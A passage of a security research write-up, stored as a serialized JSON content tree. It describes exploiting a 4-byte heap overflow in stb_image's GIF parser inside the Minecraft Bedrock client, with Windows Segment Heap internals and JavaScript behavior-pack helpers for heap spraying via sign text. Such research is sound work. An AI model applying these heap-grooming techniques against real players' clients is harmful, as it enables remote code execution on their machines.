"children":151557},{"style":300},[151558],{"type":26,"value":3033},{"type":21,"tag":153,"props":151560,"children":151561},{"style":160},[151562],{"type":26,"value":1234},{"type":21,"tag":153,"props":151564,"children":151565},{"class":155,"line":382},[151566,151570,151574,151578,151582,151586,151590,151594,151598],{"type":21,"tag":153,"props":151567,"children":151568},{"style":192},[151569],{"type":26,"value":150808},{"type":21,"tag":153,"props":151571,"children":151572},{"style":160},[151573],{"type":26,"value":211},{"type":21,"tag":153,"props":151575,"children":151576},{"style":300},[151577],{"type":26,"value":5873},{"type":21,"tag":153,"props":151579,"children":151580},{"style":160},[151581],{"type":26,"value":11387},{"type":21,"tag":153,"props":151583,"children":151584},{"style":198},[151585],{"type":26,"value":2367},{"type":21,"tag":153,"props":151587,"children":151588},{"style":192},[151589],{"type":26,"value":40138},{"type":21,"tag":153,"props":151591,"children":151592},{"style":160},[151593],{"type":26,"value":211},{"type":21,"tag":153,"props":151595,"children":151596},{"style":300},[151597],{"type":26,"value":2996},{"type":21,"tag":153,"props":151599,"children":151600},{"style":160},[151601],{"type":26,"value":1234},{"type":21,"tag":153,"props":151603,"children":151604},{"class":155,"line":501},[151605,151609,151613,151617,151621,151625,151629,151633,151637],{"type":21,"tag":153,"props":151606,"children":151607},{"style":192},[151608],{"type":26,"value":150808},{"type":21,"tag":153,"props":151610,"children":151611},{"style":160},[151612],{"type":26,"value":211},{"type":21,"tag":153,"props":151614,"children":151615},{"style":300},[151616],{"type":26,"value":4303},{"type":21,"tag":153,"props":151618,"children":151619},{"style":160},[151620],{"type":26,"value":11387},{"type":21,"tag":153,"props":151622,"children":151623},{"style":198},[151624],{"type":26,"value":2367},{"type":21,"tag":153,"props":151626,"children":151627},{"style":192},[151628],{"type":26,"value":40138},{"type":21,"tag":153,"props":151630,"children":151631},{"style":160},[151632],{"type":26,"value":211},{"type":21,"tag":153,"props":151634,"children":151635},{"style":300},[151636],{"type":26,"value":4303},{"type":21,"tag":153,"props":151638,"children":151639},{"style":160},[151640],{"type":26,"value":1234},{"type":21,"tag":153,"props":151642,"children":151643},{"class":155,"line":533},[151644],{"type":21,"tag":153,"props":151645,"children":151646},{"style":160},[151647],{"type":26,"value":37442},{"type":21,"tag":22,"props":151649,"children":151650},{},[151651,151652,151657,151659,151664,151666,151671],{"type":26,"value":26712},{"type":21,"tag":78,"props":151653,"children":151655},{"className":151654},[],[151656],{"type":26,"value":151008},{"type":26,"value":151658}," has to set the last byte to ",{"type":21,"tag":78,"props":151660,"children":151662},{"className":151661},[],[151663],{"type":26,"value":115640},{"type":26,"value":151665}," in order for the four-byte OOB write to happen, meaning we can control the first three bytes of the overflow while the last byte will always be ",{"type":21,"tag":78,"props":151667,"children":151669},{"className":151668},[],[151670],{"type":26,"value":115640},{"type":26,"value":355},{"type":21,"tag":22,"props":151673,"children":151674},{},[151675,151677,151682,151684,151690,151691,151697],{"type":26,"value":151676},"In the code we can see that size of the ",{"type":21,"tag":78,"props":151678,"children":151680},{"className":151679},[],[151681],{"type":26,"value":150465},{"type":26,"value":151683}," allocation is controlled through ",{"type":21,"tag":78,"props":151685,"children":151687},{"className":151686},[],[151688],{"type":26,"value":151689},"g->w",{"type":26,"value":52},{"type":21,"tag":78,"props":151692,"children":151694},{"className":151693},[],[151695],{"type":26,"value":151696},"g->h",{"type":26,"value":151698}," values, both of which are read from the input file itself:",{"type":21,"tag":143,"props":151700,"children":151702},{"code":151701,"language":5896,"meta":7,"className":19212,"style":7},"static stbi_uc *stbi__gif_load_next(...)\n{\n   [...]\n   if (g->out == 0) {\n      if (!stbi__gif_header(s, g, comp,0))     return 0;\n      g->out = (stbi_uc *) stbi__malloc(4 * g->w * g->h);\n",[151703],{"type":21,"tag":78,"props":151704,"children":151705},{"__ignoreMap":7},[151706,151731,151738,151745,151780,151826],{"type":21,"tag":153,"props":151707,"children":151708},{"class":155,"line":156},[151709,151713,151718,151722,151726],{"type":21,"tag":153,"props":151710,"children":151711},{"style":170},[151712],{"type":26,"value":53335},{"type":21,"tag":153,"props":151714,"children":151715},{"style":160},[151716],{"type":26,"value":151717}," stbi_uc ",{"type":21,"tag":153,"props":151719,"children":151720},{"style":198},[151721],{"type":26,"value":313},{"type":21,"tag":153,"props":151723,"children":151724},{"style":181},[151725],{"type":26,"value":149644},{"type":21,"tag":153,"props":151727,"children":151728},{"style":160},[151729],{"type":26,"value":151730},"(...)\n",{"type":21,"tag":153,"props":151732,"children":151733},{"class":155,"line":166},[151734],{"type":21,"tag":153,"props":151735,"children":151736},{"style":160},[151737],{"type":26,"value":13601},{"type":21,"tag":153,"props":151739,"children":151740},{"class":155,"line":225},[151741],{"type":21,"tag":153,"props":151742,"children":151743},{"style":160},[151744],{"type":26,"value":150206},{"type":21,"tag":153,"props":151746,"children":151747},{"class":155,"line":239},[151748,151752,151756,151760,151764,151768,151772,151776],{"type":21,"tag":153,"props":151749,"children":151750},{"style":1751},[151751],{"type":26,"value":54935},{"type":21,"tag":153,"props":151753,"children":151754},{"style":160},[151755],{"type":26,"value":5820},{"type":21,"tag":153,"props":151757,"children":151758},{"style":192},[151759],{"type":26,"value":111595},{"type":21,"tag":153,"props":151761,"children":151762},{"style":160},[151763],{"type":26,"value":2953},{"type":21,"tag":153,"props":151765,"children":151766},{"style":192},[151767],{"type":26,"value":121018},{"type":21,"tag":153,"props":151769,"children":151770},{"style":198},[151771],{"type":26,"value":6031},{"type":21,"tag":153,"props":151773,"children":151774},{"style":300},[151775],{"type":26,"value":5799},{"type":21,"tag":153,"props":151777,"children":151778},{"style":160},[151779],{"type":26,"value":2659},{"type":21,"tag":153,"props":151781,"children":151782},{"class":155,"line":382},[151783,151787,151791,151795,151800,151805,151809,151814,151818,151822],{"type":21,"tag":153,"props":151784,"children":151785},{"style":1751},[151786],{"type":26,"value":41978},{"type":21,"tag":153,"props":151788,"children":151789},{"style":160},[151790],{"type":26,"value":5820},{"type":21,"tag":153,"props":151792,"children":151793},{"style":198},[151794],{"type":26,"value":23315},{"type":21,"tag":153,"props":151796,"children":151797},{"style":181},[151798],{"type":26,"value":151799},"stbi__gif_header",{"type":21,"tag":153,"props":151801,"children":151802},{"style":160},[151803],{"type":26,"value":151804},"(s, g, comp,",{"type":21,"tag":153,"props":151806,"children":151807},{"style":300},[151808],{"type":26,"value":2996},{"type":21,"tag":153,"props":151810,"children":151811},{"style":160},[151812],{"type":26,"value":151813},"))     ",{"type":21,"tag":153,"props":151815,"children":151816},{"style":1751},[151817],{"type":26,"value":50747},{"type":21,"tag":153,"props":151819,"children":151820},{"style":300},[151821],{"type":26,"value":5799},{"type":21,"tag":153,"props":151823,"children":151824},{"style":160},[151825],{"type":26,"value":1759},{"type":21,"tag":153,"props":151827,"children":151828},{"class":155,"line":501},[151829,151834,151838,151842,151846,151851,151855,151859,151864,151868,151872,151876,151880,151884,151888,151892,151896,151900,151904],{"type":21,"tag":153,"props":151830,"children":151831},{"style":192},[151832],{"type":26,"value":151833},"      g",{"type":21,"tag":153,"props":151835,"children":151836},{"style":160},[151837],{"type":26,"value":2953},{"type":21,"tag":153,"props":151839,"children":151840},{"style":192},[151841],{"type":26,"value":121018},{"type":21,"tag":153,"props":151843,"children":151844},{"style":198},[151845],{"type":26,"value":255},{"type":21,"tag":153,"props":151847,"children":151848},{"style":160},[151849],{"type":26,"value":151850}," (stbi_uc ",{"type":21,"tag":153,"props":151852,"children":151853},{"style":198},[151854],{"type":26,"value":313},{"type":21,"tag":153,"props":151856,"children":151857},{"style":160},[151858],{"type":26,"value":2362},{"type":21,"tag":153,"props":151860,"children":151861},{"style":181},[151862],{"type":26,"value":151863},"stbi__malloc",{"type":21,"tag":153,"props":151865,"children":151866},{"style":160},[151867],{"type":26,"value":189},{"type":21,"tag":153,"props":151869,"children":151870},{"style":300},[151871],{"type":26,"value":4104},{"type":21,"tag":153,"props":151873,"children":151874},{"style":198},[151875],{"type":26,"value":5080},{"type":21,"tag":153,"props":151877,"children":151878},{"style":192},[151879],{"type":26,"value":150246},{"type":21,"tag":153,"props":151881,"children":151882},{"style":160},[151883],{"type":26,"value":2953},{"type":21,"tag":153,"props":151885,"children":151886},{"style":192},[151887],{"type":26,"value":51862},{"type":21,"tag":153,"props":151889,"children":151890},{"style":198},[151891],{"type":26,"value":5080},{"type":21,"tag":153,"props":151893,"children":151894},{"style":192},[151895],{"type":26,"value":150246},{"type":21,"tag":153,"props":151897,"children":151898},{"style":160},[151899],{"type":26,"value":2953},{"type":21,"tag":153,"props":151901,"children":151902},{"style":192},[151903],{"type":26,"value":86642},{"type":21,"tag":153,"props":151905,"children":151906},{"style":160},[151907],{"type":26,"value":530},{"type":21,"tag":22,"props":151909,"children":151910},{},[151911,151913,151918,151920,151925],{"type":26,"value":151912},"And lastly, to figure out where the OOB bytes are written relative to the allocated buffer, we printed out the address range of ",{"type":21,"tag":78,"props":151914,"children":151916},{"className":151915},[],[151917],{"type":26,"value":150465},{"type":26,"value":151919}," and the value of ",{"type":21,"tag":78,"props":151921,"children":151923},{"className":151922},[],[151924],{"type":26,"value":22},{"type":26,"value":151926}," just before the OOB write happens:",{"type":21,"tag":143,"props":151928,"children":151930},{"code":151929},"g->out address range: [0x75d00d114800, 0x75d00d135800)\n[...]\np: 0x75d00d135800\n",[151931],{"type":21,"tag":78,"props":151932,"children":151933},{"__ignoreMap":7},[151934],{"type":26,"value":151929},{"type":21,"tag":22,"props":151936,"children":151937},{},[151938,151940,151945,151947,151952],{"type":26,"value":151939},"There are multiple within-bound writes to ",{"type":21,"tag":78,"props":151941,"children":151943},{"className":151942},[],[151944],{"type":26,"value":22},{"type":26,"value":151946},", but the last write happens just after the ",{"type":21,"tag":78,"props":151948,"children":151950},{"className":151949},[],[151951],{"type":26,"value":150465},{"type":26,"value":151953}," allocation.",{"type":21,"tag":114,"props":151955,"children":151957},{"id":151956},"summarizing-the-corruption",[151958],{"type":26,"value":151959},"Summarizing the Corruption",{"type":21,"tag":87,"props":151961,"children":151962},{},[151963,151976,152004],{"type":21,"tag":91,"props":151964,"children":151965},{},[151966,151968,151974],{"type":26,"value":151967},"A single ",{"type":21,"tag":78,"props":151969,"children":151971},{"className":151970},[],[151972],{"type":26,"value":151973},"0x01",{"type":26,"value":151975}," byte write OOB",{"type":21,"tag":91,"props":151977,"children":151978},{},[151979,151981],{"type":26,"value":151980},"4-byte OOB write just above the allocated buffer\n",{"type":21,"tag":87,"props":151982,"children":151983},{},[151984,151989,151999],{"type":21,"tag":91,"props":151985,"children":151986},{},[151987],{"type":26,"value":151988},"First three bytes are controllable",{"type":21,"tag":91,"props":151990,"children":151991},{},[151992,151994],{"type":26,"value":151993},"Last byte will be ",{"type":21,"tag":78,"props":151995,"children":151997},{"className":151996},[],[151998],{"type":26,"value":115640},{"type":21,"tag":91,"props":152000,"children":152001},{},[152002],{"type":26,"value":152003},"Size of the allocation is controlled",{"type":21,"tag":91,"props":152005,"children":152006},{},[152007,152009],{"type":26,"value":152008},"Both corruptions are done on a short-lived allocation\n",{"type":21,"tag":87,"props":152010,"children":152011},{},[152012,152017],{"type":21,"tag":91,"props":152013,"children":152014},{},[152015],{"type":26,"value":152016},"Allocated just before the image-parsing process",{"type":21,"tag":91,"props":152018,"children":152019},{},[152020],{"type":26,"value":152021},"Freed immediately upon parsing completion",{"type":21,"tag":21491,"props":152023,"children":152024},{},[],{"type":21,"tag":22,"props":152026,"children":152027},{},[152028,152030,152037,152039,152046],{"type":26,"value":152029},"Note that this bug was already found before (",{"type":21,"tag":29,"props":152031,"children":152034},{"href":152032,"rel":152033},"https://github.com/nothings/stb/issues/656",[33],[152035],{"type":26,"value":152036},"Github Issue",{"type":26,"value":152038},") but we missed it at the time. It was later fixed in ",{"type":21,"tag":29,"props":152040,"children":152043},{"href":152041,"rel":152042},"https://github.com/nothings/stb/commit/50b1bfba583b12ceb23ef949567bdd914461e524",[33],[152044],{"type":26,"value":152045},"this commit",{"type":26,"value":355},{"type":21,"tag":66,"props":152048,"children":152049},{"id":8150},[152050],{"type":26,"value":8153},{"type":21,"tag":22,"props":152052,"children":152053},{},[152054],{"type":26,"value":152055},"The memory corruption we had wasn't the easiest to exploit, especially on a remote target with ASLR, but it was the only one we had. We could've looked for another bug for information leaks but that wasn't interesting enough - we wanted to see if we can get RCE from the 4-byte memory corruption alone.",{"type":21,"tag":22,"props":152057,"children":152058},{},[152059],{"type":26,"value":152060},"Obviously four bytes alone aren't enough to get remote code execution in this case, so we looked for ways to turn the overflow into stronger primitives.",{"type":21,"tag":114,"props":152062,"children":152064},{"id":152063},"searching-for-better-primitives",[152065],{"type":26,"value":152066},"Searching for Better Primitives",{"type":21,"tag":22,"props":152068,"children":152069},{},[152070],{"type":26,"value":152071},"The initial idea was to use the 4‑byte OOB to overflow into adjacent heap chunk headers and attack the allocator, but we weren't familiar with Windows allocator internals at the time, so we started investigating.",{"type":21,"tag":22,"props":152073,"children":152074},{},[152075,152077,152084],{"type":26,"value":152076},"We realized that Minecraft uses the Segment Heap - Microsoft's newer heap implementation that is used by the kernel and is the default for packaged / ",{"type":21,"tag":29,"props":152078,"children":152081},{"href":152079,"rel":152080},"https://learn.microsoft.com/en-us/windows/uwp/get-started/universal-application-platform-guide",[33],[152082],{"type":26,"value":152083},"UWP",{"type":26,"value":152085}," applications (such as Minecraft Bedrock Edition).",{"type":21,"tag":114,"props":152087,"children":152089},{"id":152088},"segment-heap",[152090],{"type":26,"value":152091},"Segment Heap",{"type":21,"tag":22,"props":152093,"children":152094},{},[152095,152097,152104],{"type":26,"value":152096},"The internals of this heap implementation have been explored a number of times before (for an example in ",{"type":21,"tag":29,"props":152098,"children":152101},{"href":152099,"rel":152100},"https://i.blackhat.com/USA21/Wednesday-Handouts/us-21-Windows-Heap-Backed-Pool-The-Good-The-Bad-And-The-Encoded.pdf",[33],[152102],{"type":26,"value":152103},"this talk",{"type":26,"value":152105}," by Yarden Shafir), so we'll just summarize the two subsegment types relevant to this writeup.",{"type":21,"tag":21591,"props":152107,"children":152109},{"id":152108},"low-fragmentation-heap",[152110],{"type":26,"value":152111},"Low Fragmentation Heap",{"type":21,"tag":22,"props":152113,"children":152114},{},[152115,152117,152123],{"type":26,"value":152116},"Low Fragmentation Heap (LFH) services allocations of ",{"type":21,"tag":78,"props":152118,"children":152120},{"className":152119},[],[152121],{"type":26,"value":152122},"0x3ff0",{"type":26,"value":152124}," bytes or less when LFH for that size is enabled. LFH for a given size becomes enabled after 17 consecutive allocations of that size.",{"type":21,"tag":22,"props":152126,"children":152127},{},[152128],{"type":26,"value":152129},"Most importantly for us, chunks allocated in this subsegment do not have per‑chunk headers, and data from two adjacent chunks in LFH is not separated by allocator metadata.",{"type":21,"tag":143,"props":152131,"children":152133},{"code":152132},"              +-------------------------+\nChunk A ----->| 41 41 41 41 41 41 41 41 |\n              |                         |\n              | 41 41 41 41 41 41 41 41 |\n              |                         |\n              | 41 41 41 41 41 41 41 41 |\n              |                         |\n              | 41 41 41 41 41 41 41 41 |\n              +-------------------------+\nChunk B ----->| 42 42 42 42 42 42 42 42 |\n              |                         |\n              | 42 42 42 42 42 42 42 42 |\n              |                         |\n              | 42 42 42 42 42 42 . . . |\n              |                         |\n",[152134],{"type":21,"tag":78,"props":152135,"children":152136},{"__ignoreMap":7},[152137],{"type":26,"value":152132},{"type":21,"tag":22,"props":152139,"children":152140},{},[152141],{"type":26,"value":152142},"This means that the 4‑byte OOB write could overwrite the first four bytes of the next chunk above, allowing us to target heap‑allocated internal structures in Minecraft instead of the allocator - the idea being that we could find a structure that has the first field either a reference count or a length field (for example) which we could directly corrupt with the overflow.",{"type":21,"tag":21591,"props":152144,"children":152146},{"id":152145},"variable-size",[152147],{"type":26,"value":152148},"Variable Size",{"type":21,"tag":22,"props":152150,"children":152151},{},[152152,152154,152160,152162,152168],{"type":26,"value":152153},"This subsegment is used for allocation sizes from ",{"type":21,"tag":78,"props":152155,"children":152157},{"className":152156},[],[152158],{"type":26,"value":152159},"0x4000",{"type":26,"value":152161}," and up to ",{"type":21,"tag":78,"props":152163,"children":152165},{"className":152164},[],[152166],{"type":26,"value":152167},"0x20_000",{"type":26,"value":152169},". Unlike LFH, the allocator will store chunk metadata in the headers of the allocated block.",{"type":21,"tag":143,"props":152171,"children":152173},{"code":152172},"                          +-------------------------+\n            Chunk A ----->|  HEAP_VS_CHUNK_HEADER   |\n                          +-------------------------+\nChunk A Data ------------>| 41 41 41 41 41 41 41 41 |\n                          |                         |\n                          | 41 41 41 41 41 41 41 41 |\n                          |                         |\n                          | 41 41 41 41 41 41 41 41 |\n                          +-------------------------+\n            Chunk B ----->|  HEAP_VS_CHUNK_HEADER   |\n                          +-------------------------+\nChunk B Data ------------>| 42 42 42 42 42 42 42 42 |\n                          |                         |\n                          | 42 42 42 42 42 42 42 42 |\n                          |                         |\n                          | 42 42 42 42 42 42 . . . |\n                          |                         |\n",[152174],{"type":21,"tag":78,"props":152175,"children":152176},{"__ignoreMap":7},[152177],{"type":26,"value":152172},{"type":21,"tag":22,"props":152179,"children":152180},{},[152181,152183,152189],{"type":26,"value":152182},"The header, ",{"type":21,"tag":78,"props":152184,"children":152186},{"className":152185},[],[152187],{"type":26,"value":152188},"HEAP_VS_CHUNK_HEADER",{"type":26,"value":152190},", contains information such as block size and allocation status. Crucially, this header is XORed with a secret heap key. That encoding means that, unless the heap key is leaked, faking a chunk header with an overflow is not deterministic.",{"type":21,"tag":21491,"props":152192,"children":152193},{},[],{"type":21,"tag":22,"props":152195,"children":152196},{},[152197],{"type":26,"value":152198},"At this point there were two paths to explore: use the 4‑byte overflow in LFH to target Minecraft structures, or use the overflow in VS to target the allocator.",{"type":21,"tag":22,"props":152200,"children":152201},{},[152202,152204,152211],{"type":26,"value":152203},"Targeting the allocator looked difficult because the VS chunk header is encoded. Fortunately, a ",{"type":21,"tag":29,"props":152205,"children":152208},{"href":152206,"rel":152207},"https://web.archive.org/web/20250117163016/https://labs.bluefrostsecurity.de/blog.html/2022/08/16/windows-segment-heap-attacking-the-vs-allocator/",[33],[152209],{"type":26,"value":152210},"technique published",{"type":26,"value":152212}," by Blue Frost Security describes how to abuse a 3–4 byte overflow in the VS heap to reliably produce overlapping chunks.",{"type":21,"tag":22,"props":152214,"children":152215},{},[152216],{"type":26,"value":152217},"To target Minecraft structures in LFH, we needed to find a heap‑allocated object whose first field could be forged with four bytes (or less) - candidates included a reference counter or a length field. Overwriting such a field could yield a useful primitive (e.g., a use‑after‑free from a corrupted refcount, or a larger overflow / OOB read by corrupting a length field).",{"type":21,"tag":22,"props":152219,"children":152220},{},[152221],{"type":26,"value":152222},"In either case, we needed a way to spray the heap before we could proceed.",{"type":21,"tag":114,"props":152224,"children":152226},{"id":152225},"finding-a-way-to-spray-the-heap",[152227],{"type":26,"value":152228},"Finding a Way to Spray the Heap",{"type":21,"tag":22,"props":152230,"children":152231},{},[152232],{"type":26,"value":152233},"We needed to find an object that the client allocates in response to a server-controlled action. Ideally, the server would be able to control:",{"type":21,"tag":87,"props":152235,"children":152236},{},[152237,152242,152247,152252],{"type":21,"tag":91,"props":152238,"children":152239},{},[152240],{"type":26,"value":152241},"The size of the allocation",{"type":21,"tag":91,"props":152243,"children":152244},{},[152245],{"type":26,"value":152246},"The data written into the allocated buffer",{"type":21,"tag":91,"props":152248,"children":152249},{},[152250],{"type":26,"value":152251},"The allocation’s lifetime (i.e., allocated and freed through different server actions)",{"type":21,"tag":91,"props":152253,"children":152254},{},[152255],{"type":26,"value":152256},"The number of created objects (preferably unbounded)",{"type":21,"tag":22,"props":152258,"children":152259},{},[152260],{"type":26,"value":152261},"Not all of these conditions are strictly required, but an object satisfying all of them would be perfect for heap spraying. Eventually, we found exactly what we were looking for.",{"type":21,"tag":21591,"props":152263,"children":152265},{"id":152264},"minecraft-signs",[152266],{"type":26,"value":152267},"Minecraft Signs",{"type":21,"tag":22,"props":152269,"children":152270},{},[152271],{"type":26,"value":152272},"A sign is a block in Minecraft that can display arbitrary text. There is effectively no limit to how many signs can exist in a world (aside from resource constraints), and their lifetime is fully controllable: creating a sign results in an allocation, and removing it frees the associated memory.",{"type":21,"tag":22,"props":152274,"children":152275},{},[152276,152278,152284],{"type":26,"value":152277},"What we were specifically interested in was how the client stores the text displayed on a sign. After reversing the client, we found that the text is stored in a ",{"type":21,"tag":78,"props":152279,"children":152281},{"className":152280},[],[152282],{"type":26,"value":152283},"std::string",{"type":26,"value":355},{"type":21,"tag":22,"props":152286,"children":152287},{},[152288,152290,152295],{"type":26,"value":152289},"In Microsoft’s C++ implementation, ",{"type":21,"tag":78,"props":152291,"children":152293},{"className":152292},[],[152294],{"type":26,"value":152283},{"type":26,"value":152296}," is structured roughly as follows:",{"type":21,"tag":143,"props":152298,"children":152300},{"code":152299,"language":5896,"meta":7,"className":19212,"style":7},"struct string\n{\n    union {\n        char* ptr;\n        char buf[16];\n    };\n    size_t size;\n    size_t capacity;\n};\n",[152301],{"type":21,"tag":78,"props":152302,"children":152303},{"__ignoreMap":7},[152304,152315,152322,152334,152350,152374,152381,152392,152404],{"type":21,"tag":153,"props":152305,"children":152306},{"class":155,"line":156},[152307,152311],{"type":21,"tag":153,"props":152308,"children":152309},{"style":170},[152310],{"type":26,"value":12123},{"type":21,"tag":153,"props":152312,"children":152313},{"style":160},[152314],{"type":26,"value":87341},{"type":21,"tag":153,"props":152316,"children":152317},{"class":155,"line":166},[152318],{"type":21,"tag":153,"props":152319,"children":152320},{"style":160},[152321],{"type":26,"value":13601},{"type":21,"tag":153,"props":152323,"children":152324},{"class":155,"line":225},[152325,152330],{"type":21,"tag":153,"props":152326,"children":152327},{"style":170},[152328],{"type":26,"value":152329},"    union",{"type":21,"tag":153,"props":152331,"children":152332},{"style":160},[152333],{"type":26,"value":236},{"type":21,"tag":153,"props":152335,"children":152336},{"class":155,"line":239},[152337,152342,152346],{"type":21,"tag":153,"props":152338,"children":152339},{"style":170},[152340],{"type":26,"value":152341},"        char",{"type":21,"tag":153,"props":152343,"children":152344},{"style":198},[152345],{"type":26,"value":313},{"type":21,"tag":153,"props":152347,"children":152348},{"style":160},[152349],{"type":26,"value":19254},{"type":21,"tag":153,"props":152351,"children":152352},{"class":155,"line":382},[152353,152357,152362,152366,152370],{"type":21,"tag":153,"props":152354,"children":152355},{"style":170},[152356],{"type":26,"value":152341},{"type":21,"tag":153,"props":152358,"children":152359},{"style":192},[152360],{"type":26,"value":152361}," buf",{"type":21,"tag":153,"props":152363,"children":152364},{"style":160},[152365],{"type":26,"value":211},{"type":21,"tag":153,"props":152367,"children":152368},{"style":300},[152369],{"type":26,"value":470},{"type":21,"tag":153,"props":152371,"children":152372},{"style":160},[152373],{"type":26,"value":1234},{"type":21,"tag":153,"props":152375,"children":152376},{"class":155,"line":501},[152377],{"type":21,"tag":153,"props":152378,"children":152379},{"style":160},[152380],{"type":26,"value":751},{"type":21,"tag":153,"props":152382,"children":152383},{"class":155,"line":533},[152384,152388],{"type":21,"tag":153,"props":152385,"children":152386},{"style":170},[152387],{"type":26,"value":19262},{"type":21,"tag":153,"props":152389,"children":152390},{"style":160},[152391],{"type":26,"value":126899},{"type":21,"tag":153,"props":152393,"children":152394},{"class":155,"line":542},[152395,152399],{"type":21,"tag":153,"props":152396,"children":152397},{"style":170},[152398],{"type":26,"value":19262},{"type":21,"tag":153,"props":152400,"children":152401},{"style":160},[152402],{"type":26,"value":152403}," capacity;\n",{"type":21,"tag":153,"props":152405,"children":152406},{"class":155,"line":762},[152407],{"type":21,"tag":153,"props":152408,"children":152409},{"style":160},[152410],{"type":26,"value":19275},{"type":21,"tag":22,"props":152412,"children":152413},{},[152414,152416,152422,152424,152429],{"type":26,"value":152415},"We are primarily interested in the union: ",{"type":21,"tag":78,"props":152417,"children":152419},{"className":152418},[],[152420],{"type":26,"value":152421},"buf",{"type":26,"value":152423}," is used when the string fits within 16 bytes, while ",{"type":21,"tag":78,"props":152425,"children":152427},{"className":152426},[],[152428],{"type":26,"value":16658},{"type":26,"value":152430}," points to a heap-allocated buffer if the string exceeds that size. The allocated buffer contains only the string’s raw bytes.",{"type":21,"tag":22,"props":152432,"children":152433},{},[152434],{"type":26,"value":152435},"This means that for each sign whose text is longer than 16 bytes, the client allocates a heap buffer equal to the string length.",{"type":21,"tag":22,"props":152437,"children":152438},{},[152439],{"type":26,"value":152440},"This makes signs perfect for our needs - we can fully control the allocation size, lifetime, and contents of the heap buffer.",{"type":21,"tag":21591,"props":152442,"children":152444},{"id":152443},"spraying-with-server-side-scripting",[152445],{"type":26,"value":152446},"Spraying With Server-Side Scripting",{"type":21,"tag":22,"props":152448,"children":152449},{},[152450],{"type":26,"value":152451},"The simplest way to automatically manipulate the world is through server-side behavior packs. These packs are written in JavaScript and can control many aspects of the server.",{"type":21,"tag":22,"props":152453,"children":152454},{},[152455,152457,152463,152464,152470],{"type":26,"value":152456},"We wrote ",{"type":21,"tag":78,"props":152458,"children":152460},{"className":152459},[],[152461],{"type":26,"value":152462},"alloc",{"type":26,"value":52},{"type":21,"tag":78,"props":152465,"children":152467},{"className":152466},[],[152468],{"type":26,"value":152469},"free",{"type":26,"value":152471}," helpers that trigger an allocation in the client and free it on demand:",{"type":21,"tag":143,"props":152473,"children":152475},{"code":152474,"language":38309,"meta":7,"className":38307,"style":7},"// Allocate sign text in the client\nfunction alloc(size, fill=\"A\") {\n    for (let sign of signs) {\n        if (sign.allocated || sign.removed) {\n            continue;\n        }\n\n        sign.sign.setText(fill.repeat(size - 1));\n        sign.allocated = true;\n        return sign;\n    }\n\n    console.warn(\"No more allocs\");\n    return undefined;\n}\n\n// Free an allocated sign in the client\nfunction free(sign) {\n    if (sign == undefined || sign.allocated == false) {\n        return;\n    }\n\n    sign.sign.setText(\"\");\n    sign.allocated = false;\n\n    sign.block.setPermutation(\n        BlockPermutation.resolve(\"minecraft:air\")\n    );\n    sign.removed = true;\n}\n",[152476],{"type":21,"tag":78,"props":152477,"children":152478},{"__ignoreMap":7},[152479,152487,152529,152562,152607,152619,152626,152633,152694,152721,152736,152743,152750,152779,152794,152801,152808,152816,152840,152891,152902,152909,152916,152953,152980,152987,153016,153046,153053,153080],{"type":21,"tag":153,"props":152480,"children":152481},{"class":155,"line":156},[152482],{"type":21,"tag":153,"props":152483,"children":152484},{"style":3050},[152485],{"type":26,"value":152486},"// Allocate sign text in the client\n",{"type":21,"tag":153,"props":152488,"children":152489},{"class":155,"line":166},[152490,152494,152499,152503,152507,152511,152516,152520,152525],{"type":21,"tag":153,"props":152491,"children":152492},{"style":170},[152493],{"type":26,"value":34072},{"type":21,"tag":153,"props":152495,"children":152496},{"style":181},[152497],{"type":26,"value":152498}," alloc",{"type":21,"tag":153,"props":152500,"children":152501},{"style":160},[152502],{"type":26,"value":189},{"type":21,"tag":153,"props":152504,"children":152505},{"style":192},[152506],{"type":26,"value":126557},{"type":21,"tag":153,"props":152508,"children":152509},{"style":160},[152510],{"type":26,"value":1670},{"type":21,"tag":153,"props":152512,"children":152513},{"style":192},[152514],{"type":26,"value":152515},"fill",{"type":21,"tag":153,"props":152517,"children":152518},{"style":198},[152519],{"type":26,"value":2367},{"type":21,"tag":153,"props":152521,"children":152522},{"style":671},[152523],{"type":26,"value":152524},"\"A\"",{"type":21,"tag":153,"props":152526,"children":152527},{"style":160},[152528],{"type":26,"value":2659},{"type":21,"tag":153,"props":152530,"children":152531},{"class":155,"line":225},[152532,152536,152540,152544,152549,152553,152558],{"type":21,"tag":153,"props":152533,"children":152534},{"style":1751},[152535],{"type":26,"value":5784},{"type":21,"tag":153,"props":152537,"children":152538},{"style":160},[152539],{"type":26,"value":5820},{"type":21,"tag":153,"props":152541,"children":152542},{"style":170},[152543],{"type":26,"value":1555},{"type":21,"tag":153,"props":152545,"children":152546},{"style":192},[152547],{"type":26,"value":152548}," sign",{"type":21,"tag":153,"props":152550,"children":152551},{"style":170},[152552],{"type":26,"value":13083},{"type":21,"tag":153,"props":152554,"children":152555},{"style":192},[152556],{"type":26,"value":152557}," signs",{"type":21,"tag":153,"props":152559,"children":152560},{"style":160},[152561],{"type":26,"value":2659},{"type":21,"tag":153,"props":152563,"children":152564},{"class":155,"line":239},[152565,152569,152573,152578,152582,152587,152591,152595,152599,152603],{"type":21,"tag":153,"props":152566,"children":152567},{"style":1751},[152568],{"type":26,"value":2607},{"type":21,"tag":153,"props":152570,"children":152571},{"style":160},[152572],{"type":26,"value":5820},{"type":21,"tag":153,"props":152574,"children":152575},{"style":192},[152576],{"type":26,"value":152577},"sign",{"type":21,"tag":153,"props":152579,"children":152580},{"style":160},[152581],{"type":26,"value":355},{"type":21,"tag":153,"props":152583,"children":152584},{"style":192},[152585],{"type":26,"value":152586},"allocated",{"type":21,"tag":153,"props":152588,"children":152589},{"style":198},[152590],{"type":26,"value":26394},{"type":21,"tag":153,"props":152592,"children":152593},{"style":192},[152594],{"type":26,"value":152548},{"type":21,"tag":153,"props":152596,"children":152597},{"style":160},[152598],{"type":26,"value":355},{"type":21,"tag":153,"props":152600,"children":152601},{"style":192},[152602],{"type":26,"value":135262},{"type":21,"tag":153,"props":152604,"children":152605},{"style":160},[152606],{"type":26,"value":2659},{"type":21,"tag":153,"props":152608,"children":152609},{"class":155,"line":382},[152610,152615],{"type":21,"tag":153,"props":152611,"children":152612},{"style":1751},[152613],{"type":26,"value":152614},"            